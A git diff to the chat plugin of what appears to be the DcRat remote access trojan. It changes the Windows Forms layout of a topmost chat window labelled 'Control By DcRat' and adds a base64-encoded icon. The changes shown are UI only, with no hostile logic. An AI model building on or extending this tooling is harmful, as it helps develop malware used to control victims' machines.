diff --git a/Client/Client.csproj b/Client/Client.csproj index 395dcc4..fb15968 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -60,7 +60,7 @@ false - + Client.Program diff --git a/Plugin/Chat/Chat/FormChat.Designer.cs b/Plugin/Chat/Chat/FormChat.Designer.cs index 1d353be..61eeaff 100644 --- a/Plugin/Chat/Chat/FormChat.Designer.cs +++ b/Plugin/Chat/Chat/FormChat.Designer.cs @@ -29,27 +29,16 @@ private void InitializeComponent() { this.components = new System.ComponentModel.Container(); - this.textBox1 = new System.Windows.Forms.TextBox(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormChat)); this.richTextBox1 = new System.Windows.Forms.RichTextBox(); this.timer1 = new System.Windows.Forms.Timer(this.components); this.pictureBox1 = new System.Windows.Forms.PictureBox(); - this.button1 = new System.Windows.Forms.Button(); this.label1 = new System.Windows.Forms.Label(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.button1 = new System.Windows.Forms.Button(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); this.SuspendLayout(); // - // textBox1 - // - this.textBox1.Anchor = System.Windows.Forms.AnchorStyles.Top; - this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.textBox1.Font = new System.Drawing.Font("宋体", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); - this.textBox1.Location = new System.Drawing.Point(8, 268); - this.textBox1.Margin = new System.Windows.Forms.Padding(2); - this.textBox1.Multiline = true; - this.textBox1.Name = "textBox1"; - this.textBox1.Size = new System.Drawing.Size(487, 182); - this.textBox1.TabIndex = 0; - // // richTextBox1 // this.richTextBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) @@ -59,11 +48,11 @@ this.richTextBox1.CausesValidation = false; this.richTextBox1.Cursor = System.Windows.Forms.Cursors.No; this.richTextBox1.Font = new System.Drawing.Font("宋体", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); - this.richTextBox1.Location = new System.Drawing.Point(8, 11); + this.richTextBox1.Location = new System.Drawing.Point(12, 11); this.richTextBox1.Margin = new System.Windows.Forms.Padding(2); this.richTextBox1.Name = "richTextBox1"; this.richTextBox1.ReadOnly = true; - this.richTextBox1.Size = new System.Drawing.Size(357, 253); + this.richTextBox1.Size = new System.Drawing.Size(353, 253); this.richTextBox1.TabIndex = 2; this.richTextBox1.Text = ""; // @@ -83,16 +72,6 @@ this.pictureBox1.TabIndex = 4; this.pictureBox1.TabStop = false; // - // button1 - // - this.button1.Location = new System.Drawing.Point(419, 422); - this.button1.Name = "button1"; - this.button1.Size = new System.Drawing.Size(75, 27); - this.button1.TabIndex = 5; - this.button1.Text = "Send"; - this.button1.UseVisualStyleBackColor = true; - this.button1.Click += new System.EventHandler(this.button1_Click); - // // label1 // this.label1.AutoSize = true; @@ -103,23 +82,44 @@ this.label1.TabIndex = 6; this.label1.Text = "Control\r\nBy\r\nDcRat"; // + // textBox1 + // + this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.textBox1.Location = new System.Drawing.Point(12, 269); + this.textBox1.Multiline = true; + this.textBox1.Name = "textBox1"; + this.textBox1.Size = new System.Drawing.Size(474, 172); + this.textBox1.TabIndex = 8; + // + // button1 + // + this.button1.Location = new System.Drawing.Point(410, 412); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(75, 28); + this.button1.TabIndex = 9; + this.button1.Text = "Send"; + this.button1.UseVisualStyleBackColor = true; + this.button1.Click += new System.EventHandler(this.button1_Click); + // // FormChat // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.BackColor = System.Drawing.SystemColors.Window; - this.ClientSize = new System.Drawing.Size(502, 457); + this.ClientSize = new System.Drawing.Size(498, 453); this.ControlBox = false; - this.Controls.Add(this.label1); this.Controls.Add(this.button1); - this.Controls.Add(this.pictureBox1); this.Controls.Add(this.textBox1); + this.Controls.Add(this.label1); + this.Controls.Add(this.pictureBox1); this.Controls.Add(this.richTextBox1); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Margin = new System.Windows.Forms.Padding(2); this.Name = "FormChat"; this.ShowIcon = false; this.ShowInTaskbar = false; + this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "Chat"; this.TopMost = true; @@ -132,12 +132,11 @@ } #endregion - - private System.Windows.Forms.TextBox textBox1; public System.Windows.Forms.RichTextBox richTextBox1; private System.Windows.Forms.Timer timer1; private System.Windows.Forms.PictureBox pictureBox1; - private System.Windows.Forms.Button button1; private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.Button button1; } } \ No newline at end of file diff --git a/Plugin/Chat/Chat/FormChat.resx b/Plugin/Chat/Chat/FormChat.resx index 1f666f2..3f5d77d 100644 --- a/Plugin/Chat/Chat/FormChat.resx +++ b/Plugin/Chat/Chat/FormChat.resx @@ -120,4 +120,1137 @@ 17, 17 + + + + AAABAAEAgIAAAAEAIAAoCAEAFgAAACgAAACAAAAAAAEAAAEAIAAAAAAAAAABABMLAAATCwAAAAAAAAAA + AAD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8Auev2ALnr9gC56/YAuev2ALnr + 9gC56/YAuev2ALnr9gC56/YAv/H8AJnK1ghbipgcZ5SgpWiUoJ8xYG6ON2VyHBdHVSIuX2kAQ3mBAAco + MQAXNj8AK05YACA/TAAkRFMAHD5NAFB8iQBxpLAAbJ6qAGyeqgBsnqoAbJ6qAGyeqgBsnqoAbp+rAFp5 + gwAyW2gAKlNgABxDUQAYQk8AJFZgACNVXwAjVV8AI1VfACNVXwAeUFoAUH+IADNXYgAlSFQADi87ABgw + PgAuRlQACC88AA8/TgAJOEoSHFBin1+KmNg/ZXjYPWBx2mCBkdpOc4LBSHWDMNb//wDA8/sAvvH5AL7x + +QC+8fkAvvH5AL7x+QC+8fkAvvH5AL7x+QC+8fkAvvH5AL7x+QC+8fkAvvH5AL7x+QD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wCEs8AAhLPAAISzwACEs8AAhLPAAISzwACEs8AAhLPAAISzwACIuMQAXoyah3uf + qrzc9/v70u7z/2WJlduFrrbfaZeg7CJUX4Q9dH0JBicwABc2PwArTlgAID9MACREUwAcPk0AUHyJAHGk + sABsnqoAbJ6qAGyeqgBsnqoAbJ6qAGyeqgBun6sAWnmDADJbaAAqU2AAHENRABhCTwAkVmAAI1VfACNV + XwAjVV8AI1VfAB5QWgBQf4gAM1diACVIVAAOLzsAGDA+AC9GVAAEKzgAADBALU14hM2Ns7+65Pz//6a6 + yP+qvMP/8P7//9jr9ddqkZzeVX+LOLfq8gDH+v8AxPf/AMT3/wDE9/8AxPf/AMT3/wDE9/8AxPf/AMT3 + /wDE9/8AxPf/AMT3/wDE9/8AxPf/AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////ACxYZQAsWGUALFhlACxY + ZQAsWGUALFhlACxYZQAsWGUALFhlAC5caCZKb3zyrsPI/+Ty9v/V4+j/2Ont/9ry9P/V9PX/tNfa/1qE + jKIAISoUFDM8ACtOWAAgP0wAJERTABw+TQBQfIkAcaSwAGyeqgBsnqoAbJ6qAGyeqgBsnqoAbJ6qAG6f + qwBaeYMAMltoACpTYAAcQ1EAGEJPACRWYAAjVV8AI1VfACNVXwAjVV8AHlBaAFB/iAAzV2IAJUhUAA4v + OwAZMT8AKEBOAA82Q058oauC1O3z/+Tz+v/e6PL/wcvV/8rU3P/q9Pn/3+30/7fS1v8bQU7ykMHLQqfZ + 4gCj1d8Ao9XfAKPV3wCj1d8Ao9XfAKPV3wCj1d8Ao9XfAKPV3wCj1d8Ao9XfAKPV3wCj1d8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8AN2l1ADdpdQA3aXUAN2l1ADdpdQA3aXUAN2l1ADdpdQA1Z3QASniErczq + 7v/T4uX/5uns/+/w8f/n6+z/2+fn/9vr7P/j8vP/5/b434KcodEVN0BIJEhSACA/TAAkRFMAHD5NAFB8 + iQBxpLAAbJ6qAGyeqgBsnqoAbJ6qAGyeqgBsnqoAbp+rAFp5gwAyW2gAKlNgABxDUQAYQk8AJFZgACNV + XwAjVV8AI1VfACNVXwAeUFoAUH+IADNXYgAlSFQADy87AA8oNgA3Tl0sq8LM1ePx+f/l6vH/7u31/+vq + 8f/u8fX/6PH0/9ro6//b6+//0+nt/8Tk6/83Y3HQJVJgAClWZAApVmQAKVZkAClWZAApVmQAKVZkAClW + ZAApVmQAKVZkAClWZAApVmQAKVZkAClWZAD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wA/doQAP3aEAD92 + hAA/doQAP3aEAD92hAA/doQAP3aEADdwfkN/r7n11O7y/+Ts7//s6ev/7+zt/+np6//r8vP/2+jq/+Lr + 7f/f5+n/8P///562vMEwUlwYGjlGBSREUwAcPk0AUHyJAHGksABsnqoAbJ6qAGyeqgBsnqoAbJ6qAGye + qgBun6sAWnmDADJbaAAqU2AAHENRABhCTwAkVmAAI1VfACNVXwAjVV8AI1VfAB5QWgBQf4gAM1diACZI + VAAIKjYHITlITLnFz+Dt8/z/4eXs/+/v9f/n5u3/7ezy/+ru8//i7O//3ezu/9zs8P/Z6ez/3vP2/ypR + XMgAJjMABS05AAUtOQAFLTkABS05AAUtOQAFLTkABS05AAUtOQAFLTkABS05AAUtOQAFLTkABS05AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AEF6jABBeowAQXqMAEJ6jABBeowAQHmKAEB5igBAeYoAOXOFNn6u + vOzQ6u//5Ozu//Lv8P/y7e7/7e7w/+bu8v/g7vX/4O3x/+Tu7//a6On/6/n9/7vQ17xLZ3M8Gz1MAx0/ + TgBQfIkAcaSwAGyeqgBsnqoAbJ6qAGyeqgBsnqoAbJ6qAG6fqwBaeYMAMltoACpTYAAcQ1EAGEJPACRW + YAAjVV8AI1VfACNVXwAjVV8AHlBaAFB/iAA0WGMAIUVRAREyPzehtb7W7vb8/+Hq8P/l7PL/5u3z/+Xs + 8v/j6vD/5Ozy/+Xt8//j7fL/4+zx/97o6P/e8vH/NV1n0GKVngBjlZ4AY5WeAGOVngBjlZ4AY5WeAGOV + ngBjlZ4AY5WeAGOVngBjlZ4AY5WeAGOVngBjlZ4A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8ATImbAEyJ + mwBMiZsATImaAE+LnQBWkqQAVZCiAFmVpwBWlKcBdae2R8/r8fXc6On/6+zs//Du7//q7vD/5O7y/9/u + 9P/f7PH/5O/w/9zp6//Y5uv/5PT6/83j6cA5WmgYETBBAE98iABxpLAAbJ6qAGyeqgBsnqoAbJ6qAGye + qgBsnqoAbp+rAFp5gwAyW2gAKlNgABxDUQAYQk8AJFZgACNVXwAjVV8AI1VfACNVXwAeUFoAUH+IAC5S + XQAWOUUAXXuFYuP1+uzf5+7/4uvx/+Tt8//l7fP/4+vx/+Lq8P/k7PL/5e3z/+Pr8f/h6u//4O3s/8zm + 5fBaipKkx///AMT//wDE//8Aw///AMb//wDJ//8Ayf//AMn//wDJ//8Ayf//AMn//wDJ//8Ayf//AMn/ + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wAnaHgAJ2h4ACdoeAAkZXQAOHeGAE6LmgBPkqAANW9/ACpg + cQApXGuu0fP2/9rs7f/k6+v/6u7u/+jv8P/i7/P/3+/0/+Tw9f/j7u//4+/z/9zp7//U5Ov/4fX4/6O/ + xbUEIDA+SnaEAHWotABsnqoAbJ6qAG6grABvoa0Ab6GtAG2grABuoKwAWnmDADJbaAAqU2AAHENRABhC + TwAkV2EAI1VfACNVXwAjVV8AI1VfAB5QWgBRgIkACi45AFN0fWLe9/r62+zx/+Hp7//j6/H/5e3z/+Xt + 8//k7PL/5Ozy/+Xt8//l7fP/4+vx/97p7v/l9vf/iamt5WqephHB/v8Au/f+ALn1/AC8+f8Apd3mAJLF + zwCUydMAlMnTAJTJ0wCUydMAlMnTAJTJ0wCUydMAlMnTAP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AClp + eQApaXkAKWl5ACZmdgA7eogAQ4GNAEePmgAscXwAMWdyADRodXikzdGd2fDx/97q6v/m7e3/5u7x/+Hv + 8//h8PX/5PH1/97p7P/d6e7/5vP4/+Dv9f/U6fD/2/T7/4KirLwaQU8SXo6aAnCfqgBunqkAZZaiAF+Q + nQBgkZ4AaZejAG6PmQBadX8AMlxpACpTYAAcQ1EAF0BNACNVXwAjVl8AIlVfACJVXgAhVF4AHlFbA0Fw + eQY+Ymuqy+ft/9jt8v/Y5uv/5e3z/+Xt8//l7fP/5Ozy/+Pr8f/l7fP/5e3z/+Ts8v/h6vD/4Ovx/9rx + 9N1chY20OGZyJU18hQBHdH8AaJupAH2zwAB2o7AAbpqnAG+bqABvm6gAb5uoAG+bqABvm6gAb5uoAG+b + qABvm6gA////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8AKWl5AClpeQApaXkAJmZ2ADt6iABEgo8AR46aADZ+ + iQA6eYMAOW55AFR+hvDb9vj/3O3t/+Hu7v/j7/H/4fDz/+Hw9f/h7/P/6PP3/+Pv8//d6u//3+3y/9nq + 7//Z7fL/1/H24ENnczwdQk0AfKGpAHugpwBGb30AIlFhACdUZABacXwAcISNAFp2gAAyXGkAKlNgAB1F + UwAROUcAFj5LACZWYQAnVmEAKVhjAC9daAApV2IACjNANajJz/3f9vn/2unv/9/s8f/l7vP/5u70/+bu + 9P/k7PL/4+vx/+bu9P/m7vT/5Ozy/+Hq8P/k8PX/s8/U8BlBTjccRVIAGkJOAE19iwBsobIAa56tAHOg + rQB0oa4AdKGuAHShrgB0oa4AdKGuAHShrgB0oa4AdKGuAHShrgD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wApaXkAKWl5AClpeQAmZnYAO3qIAEKAjQFGjJhYOH6Jzzl4gtFJfojLOmNs+qS+wf/j9vb/4u/w/9zq + 7P/e7u//2+rv/+Hw9P/m8fX/5+/z/+Ls8f/h7fL/3Orv/9rr8P/X7vX/uNXb6jVYYnJlipMBZoqTAEBp + dwAmVWUAKldnAFtzfgBwhY4AWnaAADJcaQAqU2AAHUVTABI6SAAQNEMAKFRgACtXYwAtWWUAPGZxACNM + WApQc31/2/X6+tDj6P/l8vb/4evw/+Ps8f/k7PL/5e3z/+bu9P/j7PL/6fD3/+Xt8//l7fP/4uvx/+Tw + 9f+PrrdjPWh0AGqXoQA4Ym0AX5KjAG6ktABuobAAdKGuAHShrgB0oa4AdKGuAHShrgB0oa4AdKGuAHSh + rgB0oa4AdKGuAP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////ACdndwAnZ3cAJ2d3ACRkdAE5eYgRSYWRKEJ9 + iP87dH7/NWpz/zRgav89X2j/WXR7/+Dw8v/W5Ob/3uvs/+Lv8P/f7e//5fH0/+Xv8//m7vL/5e7y/+Pt + 8v/f7PD/3Orw/9Xo7v/h+P3/hqOq2g8vOxAfQU4AJ1NiACtZaQAqV2cAW3N+AHCFjgBadoAAMlxpACpT + YAAdRVMAEjpIABE1RAAoVGAAKFZiADhjbwA9ZG8AKU9bIaXDysTZ7vL/4e/0/+Hr8P/h6u//4+vx/+Ts + 8v/l7fP/5u70/+Xu9P/q8ff/5Ozy/+Xt9P/f5u3/5fD1/3GNmBhkj5oAfq63AERvegBekqIAcqm5AXGl + tAB1oq8AdKGuAHimswB2pLEAdqOwAHajsAB2o7AAdqOwAHajsAB2o7AA////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8AM3GBADNxgQAzcYEAMnKBADNvfhY9b3y5HUVQ/ld7hP+BqLD/Z4eQ/563vv9OW2T/t8PI/+r1 + 9//i7u//5PDx/+Ht7v/j7vD/5e/0/+bu8v/l7vL/5O3x/+Xu8v/f6e//5PH2/9bo7f/N5OfYRGJsLB1E + UgArW2sBKlhoACZUZABacn0AcIWOAFp2gAAyXGkAKlNgAB1FUwASOkgAETVEAClUYAAoV2MBQ296BUNk + cQJXdoFP6v///9fm7P/o8vb/4+rv/+Xs8f/j6/H/5Ozy/+Xt8//m7vT/5+/1/+jw9v/k7PL/5Ozy/9zj + 6v/n8vj/LkNQPUBibgCbv8cAT3aAACFOXABfkKAAYpCeAHKfrAN5qLUBYYyZAGqVogBsl6QAa5ekAGuX + pABrl6QAa5ekAGuXpAD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wBjm6gAY5uoAGObqABmnqsAT4OROnWc + pv+QsLb/1/Dz/9Xq7//e8PX/3u3y/9nm7P+AjJT/7vb6/93n6//i6+3/5e/w/+Tv8v/l7/T/5u3z/+fu + 8v/l7PD/7PL1/+Tq7//m7/T/2ujq/+f5+f+XsreUFD1MESVTYwEqV2cASGx5AGJ4ggBvhI0AWnaAADJc + aQAqU2AAHUVTABI6SAASNkQAJ0pZABU+TAA0W2gATGx5ALrP18Lc7PD/4e3y/+Do7P/s8fT/6e/0/+Lq + 8P/k7PL/5e3z/+bu9P/n7/X/5u70/+Xt8//i6vD/4Ojv/9Xg5/86SVSldYyWAJKxuh19oakrXoCIAAMf + 